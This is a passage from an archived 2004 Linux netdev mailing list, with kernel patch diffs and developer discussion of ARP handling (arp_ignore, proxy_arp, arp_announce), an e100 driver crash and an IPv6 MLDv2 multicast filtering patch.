no_policy; @@ -71,6 +72,7 @@ (ipv4_devconf.accept_redirects || (in_dev)->cnf.accept_redirects))) #define IN_DEV_ARPFILTER(in_dev) (ipv4_devconf.arp_filter || (in_dev)->cnf.arp_filter) +#define IN_DEV_ARPIGNORE(in_dev) (ipv4_devconf.arp_ignore || (in_dev)->cnf.arp_ignore) struct in_ifaddr { ===== include/linux/sysctl.h 1.60 vs edited ===== --- 1.60/include/linux/sysctl.h Fri Feb 6 19:37:57 2004 +++ edited/include/linux/sysctl.h Mon Feb 9 14:09:51 2004 @@ -362,6 +362,7 @@ NET_IPV4_CONF_NOXFRM=15, NET_IPV4_CONF_NOPOLICY=16, NET_IPV4_CONF_FORCE_IGMP_VERSION=17, + NET_IPV4_CONF_ARP_IGNORE=18, }; /* /proc/sys/net/ipv4/netfilter */ ===== net/ipv4/arp.c 1.36 vs edited ===== --- 1.36/net/ipv4/arp.c Fri Feb 6 16:00:17 2004 +++ edited/net/ipv4/arp.c Mon Feb 9 14:10:27 2004 @@ -779,7 +779,9 @@ n = neigh_event_ns(&arp_tbl, sha, &sip, dev); if (n) { int dont_send = 0; - if (IN_DEV_ARPFILTER(in_dev)) + if (IN_DEV_ARPIGNORE(in_dev)) + dont_send = 1; + else if (IN_DEV_ARPFILTER(in_dev)) dont_send |= arp_filter(sip,tip,dev); if (!dont_send) arp_send(ARPOP_REPLY,ETH_P_ARP,sip,dev,tip,sha,dev->dev_addr,sha); ===== net/ipv4/devinet.c 1.24 vs edited ===== --- 1.24/net/ipv4/devinet.c Thu Jan 29 14:57:46 2004 +++ edited/net/ipv4/devinet.c Mon Feb 9 14:12:38 2004 @@ -1132,7 +1132,7 @@ static struct devinet_sysctl_table { struct ctl_table_header *sysctl_header; - ctl_table devinet_vars[18]; + ctl_table devinet_vars[19]; ctl_table devinet_dev[2]; ctl_table devinet_conf_dir[2]; ctl_table devinet_proto_dir[2]; @@ -1277,6 +1277,14 @@ .mode = 0644, .proc_handler = &ipv4_doint_and_flush, .strategy = &ipv4_doint_and_flush_strategy, + }, + { + .ctl_name = NET_IPV4_CONF_ARP_IGNORE, + .procname = "arp_ignore", + .data = &ipv4_devconf.arp_ignore, + .maxlen = sizeof(int), + .mode = 0644, + .proc_handler = &proc_dointvec, }, }, .devinet_dev = { From ja@ssi.bg Mon Feb 9 14:22:09 2004 Received: with ECARTIS (v1.0.0; list netdev); Mon, 09 Feb 2004 14:22:16 -0800 (PST) Received: from u.domain.uli (ja.mac.ssi.bg [217.79.71.194]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i19MM3KO019024 for ; Mon, 9 Feb 2004 14:22:06 -0800 Received: from localhost (localhost [127.0.0.1]) by u.domain.uli (8.12.10/8.12.10) with ESMTP id i19MNKVw001884; Tue, 10 Feb 2004 00:23:22 +0200 Date: Tue, 10 Feb 2004 00:23:20 +0200 (EET) From: Julian Anastasov X-X-Sender: ja@u.domain.uli To: jamal cc: netdev@oss.sgi.com, Alexey Kuznetsov Subject: Re: Change proxy_arp to respond only for valid neighbours In-Reply-To: <1076338874.1026.36.camel@jzny.localdomain> Message-ID: References: <1076338874.1026.36.camel@jzny.localdomain> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-archive-position: 3162 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: ja@ssi.bg Precedence: bulk X-list: netdev Content-Length: 2082 Lines: 68 Hello, On Mon, 9 Feb 2004, jamal wrote: > It should probably be a sysctl example proxy_arp_validate_neigh. > I am happy with the way it is right now in the situation i use it in. I assume you need to probe with ARP request whether for some IP we have: - proxy entry or - we can respond for this target IP due to indev/proxy_arp set to 1 Then where is better such flag to exist, for indev or for outdev? > > The changes: > > > > - now pneigh_lookup has more priority compared to arp_fwd_proxy > > > > - neigh_event_ns is called only once per request, not twice > > Could the neighbor be removed while we have the packet in the proxy > queue? > It doesnt seem like theres any harm done in redoing the neigh_event_ns > twice. You are right, if proxy_delay is large the requestor can disappear from our cache but it is not fatal for us to send reply, we do not need cache entry for this. I'm not sure what is better, is it right to confirm the requestor without receiving recent event from it? If will be visible for too large proxy_delay values. > > - the 'skb->pkt_type == PACKET_HOST' check has no semantic anymore, > > the requestor should have same information no matter the packet > > type. In all cases we add response delay for all requests, broadcast > > or unicast, to help other authoritative hosts to reply before us. > > > > So far we havent been delaying responses to unicast because their > state is typically sane. I should say we are taking for granted > the sender's state machine is sane and would send a valid unicast > probe. Are you protecting against insane implementations? > Other than Linux what other OS actually sends unicast probes? I already fixed that, if we have valid answer there is no good reason to delay it if the probe was unicast. > > - the RTCF_DNAT case is not delayed anymore (may be it is not used > > anymore, IIRC) > > > > Looking at 2.6.1 CONFIG_IP_ROUTE_NAT RTCF_NAT is still in use. Recommend > leaving it. But there is no need to apply delay in this case. > cheers, > jamal Regards -- Julian Anastasov From davem@redhat.com Mon Feb 9 14:28:57 2004 Received: with ECARTIS (v1.0.0; list netdev); Mon, 09 Feb 2004 14:29:05 -0800 (PST) Received: from mx1.redhat.com (mx1.redhat.com [66.187.233.31]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i19MSuKO019485 for ; Mon, 9 Feb 2004 14:28:56 -0800 Received: from int-mx1.corp.redhat.com (int-mx1.corp.redhat.com [172.16.52.254]) by mx1.redhat.com (8.11.6/8.11.6) with ESMTP id i19MSib11188; Mon, 9 Feb 2004 17:28:44 -0500 Received: from devserv.devel.redhat.com (devserv.devel.redhat.com [172.16.58.1]) by int-mx1.corp.redhat.com (8.11.6/8.11.6) with ESMTP id i19MShi13618; Mon, 9 Feb 2004 17:28:43 -0500 Received: from cheetah.davemloft.net (localhost.localdomain [127.0.0.1]) by devserv.devel.redhat.com (8.12.10/8.12.10) with SMTP id i19MSAkC025441; Mon, 9 Feb 2004 17:28:10 -0500 Date: Mon, 9 Feb 2004 14:28:42 -0800 From: "David S. Miller" To: Petr Vandrovec Cc: netdev@oss.sgi.com, linux-kernel@vger.kernel.org, scott.feldman@intel.com Subject: Re: 2.6.2 crash after network link failure Message-Id: <20040209142842.508ee3b7.davem@redhat.com> In-Reply-To: <20040209130134.GA14136@vana.vc.cvut.cz> References: <20040209130134.GA14136@vana.vc.cvut.cz> X-Mailer: Sylpheed version 0.9.7 (GTK+ 1.2.10; sparc-unknown-linux-gnu) X-Face: "_;p5u5aPsO,_Vsx"^v-pEq09'CU4&Dc1$fQExov$62l60cgCc%FnIwD=.UF^a>?5'9Kn[;433QFVV9M..2eN.@4ZWPGbdi<=?[:T>y?SD(R*-3It"Vj:)"dP Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit X-archive-position: 3163 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: davem@redhat.com Precedence: bulk X-list: netdev Content-Length: 909 Lines: 19 On Mon, 9 Feb 2004 14:01:34 +0100 Petr Vandrovec wrote: > It looks to me like that we've got skb on completion_queue which was connected > to a bit unhappy socket - one which had sk->sk_sleep uninitialized. Only problem > is that only af_unix sets skb->destructor to sock_wfree, so I somehow miss how > this could be triggered by e100 link change. It is not only af_unix, any time we invoke skb_set_owner_w() we get sock_wfree() as the destructor, furthermore sock_def_write_space is the default such handler given to all sockets unless they override that. Maybe e100 is mangling it's TX queue or in fact freeing things twice. I think what might be happening is that somehow the TX queue is corrupted if e100_config() runs (due to link UP state change) while there are active normal SKB packets on the TX queue. Or perhaps some TX queue handling locking issue. Scott, any ideas? From ja@ssi.bg Mon Feb 9 14:30:11 2004 Received: with ECARTIS (v1.0.0; list netdev); Mon, 09 Feb 2004 14:30:18 -0800 (PST) Received: from u.domain.uli (ja.mac.ssi.bg [217.79.71.194]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i19MU1KO019774 for ; Mon, 9 Feb 2004 14:30:09 -0800 Received: from localhost (localhost [127.0.0.1]) by u.domain.uli (8.12.10/8.12.10) with ESMTP id i19MWuVw001933; Tue, 10 Feb 2004 00:32:57 +0200 Date: Tue, 10 Feb 2004 00:32:56 +0200 (EET) From: Julian Anastasov X-X-Sender: ja@u.domain.uli To: "David S. Miller" cc: netdev@oss.sgi.com, kuznet@ms2.inr.ac.ru Subject: Re: Change proxy_arp to respond only for valid neighbours In-Reply-To: <20040209121926.6f016ebf.davem@redhat.com> Message-ID: References: <20040209121926.6f016ebf.davem@redhat.com> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-archive-position: 3164 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: ja@ssi.bg Precedence: bulk X-list: netdev Content-Length: 1246 Lines: 33 Hello, On Mon, 9 Feb 2004, David S. Miller wrote: > > - the 'skb->pkt_type == PACKET_HOST' check has no semantic anymore, > > the requestor should have same information no matter the packet > > type. In all cases we add response delay for all requests, broadcast > > or unicast, to help other authoritative hosts to reply before us. > > Do we really want to reply to all the garbage tcpdump causes us > to capture? > > That is what the pkt_type is dealing with. If we're in promiscuous > mode, we'll hear ARP requests meant not for any of our devices, we > should not proxy for them right? But this is true for local TIPs too. Do we need early check for {HOST|BROADCAST} or you prefer it only for the proxy_arp case? > RTCF_*NAT is dead wood, the existing route nating stuff is totally broken > an unusable in 2.6.x, the eventual plan was to code up XFRM engine version > of that feature but this is of course not done. Since nobody is complaining > about lack of routing NAT in 2.6.x, I think we should just kill off all references > and if someone gets inspired they can code up the XFRM engine version. I complained once but everything is doable with netfilter, with more rules, of course. Regards -- Julian Anastasov From ja@ssi.bg Mon Feb 9 14:40:00 2004 Received: with ECARTIS (v1.0.0; list netdev); Mon, 09 Feb 2004 14:40:08 -0800 (PST) Received: from u.domain.uli (ja.mac.ssi.bg [217.79.71.194]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i19MdtKO020392 for ; Mon, 9 Feb 2004 14:39:58 -0800 Received: from localhost (localhost [127.0.0.1]) by u.domain.uli (8.12.10/8.12.10) with ESMTP id i19MglVw001971; Tue, 10 Feb 2004 00:42:48 +0200 Date: Tue, 10 Feb 2004 00:42:47 +0200 (EET) From: Julian Anastasov X-X-Sender: ja@u.domain.uli To: "David S. Miller" cc: netdev@oss.sgi.com, Alexey Kuznetsov Subject: Re: Change proxy_arp to respond only for valid neighbours In-Reply-To: <20040209134551.3bd533a2.davem@redhat.com> Message-ID: References: <20040209121926.6f016ebf.davem@redhat.com> <4027FE27.9020102@candelatech.com> <20040209134551.3bd533a2.davem@redhat.com> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-archive-position: 3165 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: ja@ssi.bg Precedence: bulk X-list: netdev Hello, On Mon, 9 Feb 2004, David S. Miller wrote: > The existing ipv4 proxy-arp code is saying (as I read it) to not delay the > response if this is a unicast probe. This is one of the behaviors that > Julian is modifying slightly. It will work as before if we have valid target > For everyone's edification, when looking at changes Julian is suggesting, realize > that his interests lie in IPVS like applications, so consider the corner case > situations that such setups might be interested in and you'll see clearly the > impetus for all of his ARP change proposals :-) You are almost right, yes, partially for arp_announce, but IPVS like apps need more things to solve this problem. As for this proxy_arp work it is entirely unrelated :) Hey, I'm not using only IPVS, it does not take my time from long long time :) Long time ago I played with proxy_arp and was wondering why it behaves in this way. I'm ready to leave this idea if the changes become too complex. Regards -- Julian Anastasov From davem@redhat.com Mon Feb 9 14:46:03 2004 Received: with ECARTIS (v1.0.0; list netdev); Mon, 09 Feb 2004 14:46:13 -0800 (PST) Received: from mx1.redhat.com (mx1.redhat.com [66.187.233.31]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i19Mk3KO020842 for ; Mon, 9 Feb 2004 14:46:03 -0800 Received: from int-mx1.corp.redhat.com (int-mx1.corp.redhat.com [172.16.52.254]) by mx1.redhat.com (8.11.6/8.11.6) with ESMTP id i19Mjwb19570; Mon, 9 Feb 2004 17:45:58 -0500 Received: from devserv.devel.redhat.com (devserv.devel.redhat.com [172.16.58.1]) by int-mx1.corp.redhat.com (8.11.6/8.11.6) with ESMTP id i19Mjwi19879; Mon, 9 Feb 2004 17:45:58 -0500 Received: from cheetah.davemloft.net (localhost.localdomain [127.0.0.1]) by devserv.devel.redhat.com (8.12.10/8.12.10) with SMTP id i19MjOkC001348; Mon, 9 Feb 2004 17:45:25 -0500 Date: Mon, 9 Feb 2004 14:45:57 -0800 From: "David S. Miller" To: Julian Anastasov Cc: netdev@oss.sgi.com, kuznet@ms2.inr.ac.ru Subject: Re: Change proxy_arp to respond only for valid neighbours Message-Id: <20040209144557.64f288fe.davem@redhat.com> In-Reply-To: References: <20040209121926.6f016ebf.davem@redhat.com> <4027FE27.9020102@candelatech.com> <20040209134551.3bd533a2.davem@redhat.com> X-Mailer: Sylpheed version 0.9.7 (GTK+ 1.2.10; sparc-unknown-linux-gnu) X-Face: "_;p5u5aPsO,_Vsx"^v-pEq09'CU4&Dc1$fQExov$62l60cgCc%FnIwD=.UF^a>?5'9Kn[;433QFVV9M..2eN.@4ZWPGbdi<=?[:T>y?SD(R*-3It"Vj:)"dP Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit X-archive-position: 3166 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: davem@redhat.com Precedence: bulk X-list: netdev On Tue, 10 Feb 2004 00:42:47 +0200 (EET) Julian Anastasov wrote: > I'm ready to leave this idea if the changes become too complex. I think it's not so much your changes as this huge ugly ARP receive processing function. It is a mockery of functional programming :-) I even tried to split this damn thing up today into smaller chunks but there is so much shared state (like 6 or 7 live variables that all of the logic ends up referencing) that such efforts proved futile. It's hard and time consuming to verify any patch to this code for that reason. From hadi@cyberus.ca Mon Feb 9 14:51:23 2004 Received: with ECARTIS (v1.0.0; list netdev); Mon, 09 Feb 2004 14:51:28 -0800 (PST) Received: from tiger.cybersurf.com (tiger.cybersurf.com [209.197.145.194]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i19MpMKO021244 for ; Mon, 9 Feb 2004 14:51:23 -0800 Received: from mail.cyberus.ca (mail.cyberus.ca [209.197.145.21]) by tiger.cybersurf.com (8.12.8/8.12.8) with ESMTP id i19MpGJB017625 for ; Mon, 9 Feb 2004 15:51:16 -0700 Received: from cpe0030ab124d2f-cm014500000962.cpe.net.cable.rogers.com ([24.103.99.32] helo=[10.0.0.21]) by mail.cyberus.ca with esmtp (Exim 4.20) id 1AqKFF-0008Fa-4Y; Mon, 09 Feb 2004 17:51:13 -0500 Subject: Re: Change proxy_arp to respond only for valid neighbours From: jamal Reply-To: hadi@cyberus.ca To: Julian Anastasov Cc: netdev@oss.sgi.com, Alexey Kuznetsov In-Reply-To: References: <1076338874.1026.36.camel@jzny.localdomain> Content-Type: text/plain Organization: jamalopolis Message-Id: <1076367038.1037.15.camel@jzny.localdomain> Mime-Version: 1.0 X-Mailer: Ximian Evolution 1.2.2 Date: 09 Feb 2004 17:50:38 -0500 Content-Transfer-Encoding: 7bit X-archive-position: 3167 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: hadi@cyberus.ca Precedence: bulk X-list: netdev On Mon, 2004-02-09 at 17:23, Julian Anastasov wrote: > Hello, > > On Mon, 9 Feb 2004, jamal wrote: > > > It should probably be a sysctl example proxy_arp_validate_neigh. > > I am happy with the way it is right now in the situation i use it in. > > I assume you need to probe with ARP request whether for some > IP we have: > > - proxy entry > > or > > - we can respond for this target IP due to indev/proxy_arp set to 1 > > Then where is better such flag to exist, for indev or > for outdev? parse error. Are you agreeing it should be a sysctl? what i meant was i am happy with the slight delay in some cases i get now; example host we are parping for sends a unicast probe - we would immediately respond. Host sends a resolved IP packet - we attempt to route and worst case we find that we dont have the target entry in our cache; we arp at that point. In your case, you will amortize that cost at arp time. In the case of unicast probes (assuming a sane arp implementation on the other side) you will actually be adding cost since mostly that entry will be in the cache. In the case of broadcasts you could achieve the same effect by setting the proxy_delay in /proc to zero. > > Could the neighbor be removed while we have the packet in the proxy > > queue? > > It doesnt seem like theres any harm done in redoing the neigh_event_ns > > twice. > > You are right, if proxy_delay is large the requestor can > disappear from our cache but it is not fatal for us to send reply, > we do not need cache entry for this. I'm not sure what is better, is > it right to confirm the requestor without receiving recent event > from it? If will be visible for too large proxy_delay values. I guess you could look at one view as possibly doing 2 neigh_event_ns() and correct whereas the other is doing 1 but with the above side effect. cheers, jamal From ja@ssi.bg Mon Feb 9 14:51:35 2004 Received: with ECARTIS (v1.0.0; list netdev); Mon, 09 Feb 2004 14:51:40 -0800 (PST) Received: from u.domain.uli (ja.mac.ssi.bg [217.79.71.194]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i19MpWKO021250 for ; Mon, 9 Feb 2004 14:51:34 -0800 Received: from localhost (localhost [127.0.0.1]) by u.domain.uli (8.12.10/8.12.10) with ESMTP id i19MnAVw001997; Tue, 10 Feb 2004 00:49:30 +0200 Date: Tue, 10 Feb 2004 00:49:10 +0200 (EET) From: Julian Anastasov X-X-Sender: ja@u.domain.uli To: "David S. Miller" cc: netdev@oss.sgi.com, kuznet@ms2.inr.ac.ru Subject: Re: Change proxy_arp to respond only for valid neighbours In-Reply-To: <20040209135843.42b5b67e.davem@redhat.com> Message-ID: References: <20040209135843.42b5b67e.davem@redhat.com> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-archive-position: 3168 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: ja@ssi.bg Precedence: bulk X-list: netdev Hello, On Mon, 9 Feb 2004, David S. Miller wrote: > > + if (skb->stamp.tv_sec) { > > Julian, do you understand what this check is for? > > If it is zero, this means we are being reinvoked via the delayed proxy queue. > It means that some previously delayed response has been kicked so that we > should respond to it right now, with no delay, no matter what. Of course, there is no delay for !tv_sec, just answer or do not answer, http://www.ssi.bg/~ja/tmp/arp_proxy-2.6.2-1.diff: --- else if (fwd_proxy && (n = rt->u.dst.neighbour) && neigh_is_valid(n)) goto out; --- > Otherwise you could loop delaying the thing forever. If there is a case > where some pneigh ARP request should be evaluated multiple times, such > a change belongs in the pneigh_*() code not here in ipv4 arp processing. > > The exact path is: > > 1) All input packets get skb->stamp.tv_sec assigned to in net/core/dev.c at > the waaaay beginning of input packet processing... > > 2) Therefore the first time skb goes through arp_rcv() skb->tv_sec will be > non-zero. > > 3) If it is pneigh_enqueue()'d, then skb->stamp.tv_sec will be set to zero > therefore upon reprocessing by arp_rcv() it will be seen as zero and this > is how such a state is detected. Absolutely correct, and it is done as you said, except if I have some bug, of course :) > Yes, I hate all of these overloaded meanings of skb->stamp.tv_* as much as > anyone else. > > This is my contribution wrt. this suggested patch today, it's your turn to > make some commentary Julian :-) You have to see the flood already :) Regards -- Julian Anastasov From ja@ssi.bg Mon Feb 9 15:03:22 2004 Received: with ECARTIS (v1.0.0; list netdev); Mon, 09 Feb 2004 15:03:28 -0800 (PST) Received: from u.domain.uli (ja.mac.ssi.bg [217.79.71.194]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i19N3FKO022502 for ; Mon, 9 Feb 2004 15:03:20 -0800 Received: from localhost (localhost [127.0.0.1]) by u.domain.uli (8.12.10/8.12.10) with ESMTP id i19N6FVw002071; Tue, 10 Feb 2004 01:06:16 +0200 Date: Tue, 10 Feb 2004 01:06:15 +0200 (EET) From: Julian Anastasov X-X-Sender: ja@u.domain.uli To: "David S. Miller" cc: netdev@oss.sgi.com, linux-net@vger.kernel.org Subject: Re: Restrict local IP announcements in ARP requests In-Reply-To: <20040209140853.69ab8bea.davem@redhat.com> Message-ID: References: <20040209140853.69ab8bea.davem@redhat.com> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-archive-position: 3169 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: ja@ssi.bg Precedence: bulk X-list: netdev Hello, On Mon, 9 Feb 2004, David S. Miller wrote: > I'm fine with this patch, although it appears incomplete because: Of course :) I'm still thinking on it, for example: - do we need to complicate the things in arp_solicit and to announce not only local IPs but also sender IPs for which we support proxy_arp. But may be it is better not to complicate the arp_solicit routine because it can detect different skbs to same target, each with different saddr, so this is only a matter of optimization. I'll send you final diff in the next days after resolving this ifdef, I'm giving myself and the other gurus some days for thinking :) > > 2 - always use the best source address for this target > > The code handling this case is "#if 0/#endif" commented out in your > patch. I just wanted to know if output route is better to use in this case? Or it is better to use inet_select_addr? > Finish this thing up, and as a birthday present to everyone I'll also > add an IN_DEV_ARP_IGNORE flag for inet devices to so people can control > complete ARP ignoring via a global/per-device sysctl. > > Hopefully, combined, this will get all the virtual server maniacs off > of my back :-) Ah, no, forget about ARP_IGNORE :) Nobody wants this :) As for IPVS like setups, the requirements need per IP tunning which is possible only with some kind of filtering, not a global flag, especially for the input device. Note that the "hidden" flag is checked for the target device, this was the only way to differentiate by device. May be this is a proof arp_announce is not for IPVS :) It is mostly to work with other stacks because I'm flooded with emails about how Linux ARP can be more friendly. Regards -- Julian Anastasov From davem@redhat.com Mon Feb 9 15:11:00 2004 Received: with ECARTIS (v1.0.0; list netdev); Mon, 09 Feb 2004 15:11:06 -0800 (PST) Received: from mx1.redhat.com (mx1.redhat.com [66.187.233.31]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i19NAxKO022983 for ; Mon, 9 Feb 2004 15:10:59 -0800 Received: from int-mx1.corp.redhat.com (int-mx1.corp.redhat.com [172.16.52.254]) by mx1.redhat.com (8.11.6/8.11.6) with ESMTP id i19NAtb30274; Mon, 9 Feb 2004 18:10:55 -0500 Received: from devserv.devel.redhat.com (devserv.devel.redhat.com [172.16.58.1]) by int-mx1.corp.redhat.com (8.11.6/8.11.6) with ESMTP id i19NAsi28126; Mon, 9 Feb 2004 18:10:54 -0500 Received: from cheetah.davemloft.net (localhost.localdomain [127.0.0.1]) by devserv.devel.redhat.com (8.12.10/8.12.10) with SMTP id i19NALkC013212; Mon, 9 Feb 2004 18:10:21 -0500 Date: Mon, 9 Feb 2004 15:10:53 -0800 From: "David S. Miller" To: Julian Anastasov Cc: netdev@oss.sgi.com, linux-net@vger.kernel.org Subject: Re: Restrict local IP announcements in ARP requests Message-Id: <20040209151053.1f63937a.davem@redhat.com> In-Reply-To: References: <20040209140853.69ab8bea.davem@redhat.com> X-Mailer: Sylpheed version 0.9.7 (GTK+ 1.2.10; sparc-unknown-linux-gnu) X-Face: "_;p5u5aPsO,_Vsx"^v-pEq09'CU4&Dc1$fQExov$62l60cgCc%FnIwD=.UF^a>?5'9Kn[;433QFVV9M..2eN.@4ZWPGbdi<=?[:T>y?SD(R*-3It"Vj:)"dP Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit X-archive-position: 3170 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: davem@redhat.com Precedence: bulk X-list: netdev On Tue, 10 Feb 2004 01:06:15 +0200 (EET) Julian Anastasov wrote: > As for IPVS like setups, the requirements need per IP tunning which > is possible only with some kind of filtering, not a global flag, > especially for the input device. Note that the "hidden" flag > is checked for the target device, this was the only way to > differentiate by device. May be this is a proof arp_announce is > not for IPVS :) It is mostly to work with other stacks because > I'm flooded with emails about how Linux ARP can be more friendly. So this new 'arp_announce' change suggestion will preempt any need for hidden and make everyone happy? About output_route vs. inet_select_addr(), probably the latter is better. Your goal is to differentiate between primary and seconday addrs on a device right? Route lookup is also more expensive, probably. From dlstevens@us.ibm.com Mon Feb 9 15:21:47 2004 Received: with ECARTIS (v1.0.0; list netdev); Mon, 09 Feb 2004 15:21:54 -0800 (PST) Received: from e31.co.us.ibm.com (e31.co.us.ibm.com [32.97.110.129]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i19NLdKO023496 for ; Mon, 9 Feb 2004 15:21:46 -0800 Received: from westrelay04.boulder.ibm.com (westrelay04.boulder.ibm.com [9.17.193.32]) by e31.co.us.ibm.com (8.12.10/8.12.2) with ESMTP id i19NL0tv513418; Mon, 9 Feb 2004 18:21:01 -0500 Received: from d03nm121.boulder.ibm.com (d03av02.boulder.ibm.com [9.17.193.82]) by westrelay04.boulder.ibm.com (8.12.10/NCO/VER6.6) with ESMTP id i19NKsE8121676; Mon, 9 Feb 2004 16:20:54 -0700 In-Reply-To: <20040207.154603.51160771.yoshfuji@linux-ipv6.org> Subject: Re: Source Specific Query of MLDv2 [PATCH] To: YOSHIFUJI Hideaki / =?ISO-2022-JP?B?GyRCNUhGIzFRTEAbKEI=?= Cc: davem@redhat.com, hibi665@oki.com, netdev@oss.sgi.com, "Hideaki YOSHIFUJI" , yoshfuji@linux-ipv6.org X-Mailer: Lotus Notes Release 6.0.2CF1 June 9, 2003 Message-ID: From: David Stevens Date: Mon, 9 Feb 2004 16:20:52 -0700 X-MIMETrack: Serialize by Router on D03NM121/03/M/IBM(Release 6.0.2CF2HF133 | November 14, 2003) at 02/09/2004 16:20:54 MIME-Version: 1.0 Content-type: multipart/mixed; Boundary="0__=07BBE4A6DFECFAE78f9e8a93df938690918c07BBE4A6DFECFAE7" X-archive-position: 3171 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: dlstevens@us.ibm.com Precedence: bulk X-list: netdev --0__=07BBE4A6DFECFAE78f9e8a93df938690918c07BBE4A6DFECFAE7 Content-type: multipart/alternative; Boundary="1__=07BBE4A6DFECFAE78f9e8a93df938690918c07BBE4A6DFECFAE7" --1__=07BBE4A6DFECFAE78f9e8a93df938690918c07BBE4A6DFECFAE7 Content-type: text/plain; charset=US-ASCII Here's a revised version with all the comments incorporated. +-DLS diff -ruN linux-2.6.2/include/net/addrconf.h linux-2.6.2 F2/include/net/addrconf.h --- linux-2.6.2/include/net/addrconf.h 2004-02-03 19:44:17.000000000 -0800 +++ linux-2.6.2F2/include/net/addrconf.h 2004-02-06 16:03:34.000000000 -0800 @@ -98,6 +98,7 @@ extern int ipv6_chk_mcast_addr(struct net_device *dev, struct in6_addr *group, struct in6_addr *src_addr); +extern int ipv6_is_mld(struct sk_buff *skb); extern void addrconf_prefix_rcv(struct net_device *dev, u8 *opt, int len); diff -ruN linux-2.6.2/net/ipv6/ip6_input.c linux-2.6.2 F2/net/ipv6/ip6_input.c --- linux-2.6.2/net/ipv6/ip6_input.c 2004-02-03 19:44:14.000000000 -0800 +++ linux-2.6.2F2/net/ipv6/ip6_input.c 2004-02-09 14:12:34.000000000 -0800 @@ -168,11 +168,19 @@ smp_read_barrier_depends(); if (ipprot->flags & INET6_PROTO_FINAL) { + struct ipv6hdr *hdr; + if (!cksum_sub && skb->ip_summed == CHECKSUM_HW) { skb->csum = csum_sub(skb->csum, csum_partial(skb->nh.raw, skb->h.raw-skb->nh.raw, 0)); cksum_sub++; } + hdr = skb->nh.ipv6h; + if (ipv6_addr_is_multicast(&hdr->daddr) && + !ipv6_chk_mcast_addr(skb->dev, &hdr->daddr, + &hdr->saddr) && + !ipv6_is_mld(skb)) + goto discard; } if (!(ipprot->flags & INET6_PROTO_NOPOLICY) && !xfrm6_policy_check(NULL, XFRM_POLICY_IN, skb)) @@ -211,50 +219,21 @@ int ip6_mc_input(struct sk_buff *skb) { - struct ipv6hdr *hdr; - int deliver = 0; - int discard = 1; + struct ipv6hdr *hdr; + int deliver; IP6_INC_STATS_BH(Ip6InMcastPkts); hdr = skb->nh.ipv6h; - if (ipv6_chk_mcast_addr(skb->dev, &hdr->daddr, &hdr->saddr)) - deliver = 1; - - /* - * IPv6 multicast router mode isnt currently supported. - */ -#if 0 - if (ipv6_config.multicast_route) { - int addr_type; - - addr_type = ipv6_addr_type(&hdr->daddr); - - if (!(addr_type & (IPV6_ADDR_LOOPBACK | IPV6_ADDR_LINKLOCAL))) { - struct sk_buff *skb2; - struct dst_entry *dst; - - dst = skb->dst; - - if (deliver) { - skb2 = skb_clone(skb, GFP_ATOMIC); - } else { - discard = 0; - skb2 = skb; - } - - dst_output(skb2); - } - } -#endif + deliver = !(skb->dev->flags & (IFF_PROMISC|IFF_ALLMULTI)) || + ipv6_chk_mcast_addr(skb->dev, &hdr->daddr, NULL); - if (deliver) { - discard = 0; + if (likely(deliver)) { ip6_input(skb); + return 0; } - - if (discard) - kfree_skb(skb); + /* discard */ + kfree_skb(skb); return 0; } diff -ruN linux-2.6.2/net/ipv6/mcast.c linux-2.6.2F2/net/ipv6/mcast.c --- linux-2.6.2/net/ipv6/mcast.c 2004-02-03 19:44:28.000000000 -0800 +++ linux-2.6.2F2/net/ipv6/mcast.c 2004-02-09 13:12:07.000000000 -0800 @@ -901,6 +901,25 @@ } /* + * identify MLD packets for MLD filter exceptions + */ +int ipv6_is_mld(struct sk_buff *skb) +{ + struct icmp6hdr *pic = (struct icmp6hdr *)skb->h.raw; + + switch (pic->icmp6_type) { + case ICMPV6_MGM_QUERY: + case ICMPV6_MGM_REPORT: + case ICMPV6_MGM_REDUCTION: + case ICMPV6_MLD2_REPORT: + return 1; + default: + break; + } + return 0; +} + +/* * check if the interface/address pair is valid */ int ipv6_chk_mcast_addr(struct net_device *dev, struct in6_addr *group, @@ -918,7 +937,7 @@ break; } if (mc) { - if 